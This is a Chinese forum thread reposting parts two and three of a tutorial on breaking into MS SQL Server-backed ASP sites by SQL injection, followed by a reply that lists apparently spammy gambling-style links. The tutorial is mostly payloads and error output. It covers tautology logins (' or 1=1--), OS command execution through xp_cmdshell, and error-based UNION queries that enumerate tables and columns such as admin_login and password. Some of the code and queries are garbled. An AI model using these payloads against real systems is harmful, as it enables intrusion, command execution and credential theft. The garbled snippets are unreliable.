找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 917|回复: 1

黑客SQL服务器入侵实战演习(二)

[复制链接]
已绑定手机

155

主题

-12

回帖

631

牛毛

一级牛人

积分
631
QQ
发表于 2014-8-21 16:25:55 | 显示全部楼层 |阅读模式 来自 广东省东莞市
3.1为什么使用的是' or 1=1--呢?
  让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
  http://duck/index.asp?category=food
  在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),
  这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
 v_cat = request("category)
& v_cat & "'
  set rs=conn.execute(sqlstr)
  正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
  SELECT * FROM product WHERE PCategory='food'
  这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果
  我们把该URL改成这样的话:
  http://duck/index.asp?category=food' or 1=1--
 现在我们的变量v_cat的值就等同于"food' or 1=1--了,现在如果我们要重新代入那条SQL请求的话,
  那条SQL请求将会是:
  SELECT * FROM product WHERE PCategory='food' or 1=1--'
  现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。
  无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:
  ' or 'a'='a
  这样的话整个SQL请求将会变为:
  SELECT * FROM product WHERE PCategory='food' or 'a'='a'
  它也会返回相同的结果。
  根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
  ' or 1=1--
"a
   ') or ('a'='a
4.0如何在SQL注入请求中加入即时执行命令?
   能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命令:
   '; exec master..xp_cmdshell 'ping 10.10.1.2'--
   若失败可以尝试一下使用(双引号)代替'(单引号)。
  上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上面这条PING命令是否成功,你可以在10.10.1.2这台机器上**ICMP请求包,并确认它是否来自那台SQL服务器就可以了:
  #tcpdump icmp
  如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。
  5.0如何可以获取到我发的SQL请求的相关返回信息呢?
  我们可以使用sp_makewebtask处理过程的相关请求写入URL:
"SELECT * FROM INFORMATION
   _SCHEMA.TABLES
  但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。
[hack_xiaozhu] 内心在默默地喊著加油。

黑客SQL服务器入侵实战演习(三)
6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
  我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表名、列名等)。比方有这么一个URL:
  http://duck/index.asp?id=10
  在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
  上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
  问请求就是:
  SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
  服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int)时,系统就会产生错误。服务器会显示如下错误信息:
  Microsoft OLE DB Provider for ODBC Drivers error '80***40e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  table1' to a column of data type int.
  /index.asp, line 5
  非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
  ERE TABLE_NAME NOT IN ('table1')--
  我们也可以通过LIKE来找寻相关的特殊字:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
  ERE TABLE_NAME LIKE '%25login%25'--
  输出得到:
  Microsoft OLE DB Provider for ODBC Drivers error '80***40e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  admin_login' to a column of data type int.
  /index.asp, line 5
6.1如何找出表中的列名?
  我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
  WHERE TABLE_NAME='admin_login'--
  输出显示为:
  Microsoft OLE DB Provider for ODBC Drivers error '80***40e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  login_id' to a column of data type int.
  /index.asp, line 5
  现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
  WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
  输出得到:
  Microsoft OLE DB Provider for ODBC Drivers error '80***40e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
  login_name' to a column of data type int.
  /index.asp, line 5
"details。当我们使用了下面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):
  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
  WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'
  ,details')--
  输出后得到:
  Microsoft OLE DB Provider for ODBC Drivers error '80***40e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
  /index.asp, line 5

8

主题

53

回帖

26

牛毛

初生牛犊

积分
26
发表于 2015-7-9 11:58:35 | 显示全部楼层 来自 柬埔寨
说的很正确
www.bet418.info
www.whklxc.com
www.5658book.com
www.top021.com
www.sun3658.info
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2024-12-23 01:40 , Processed in 0.167554 second(s), 26 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表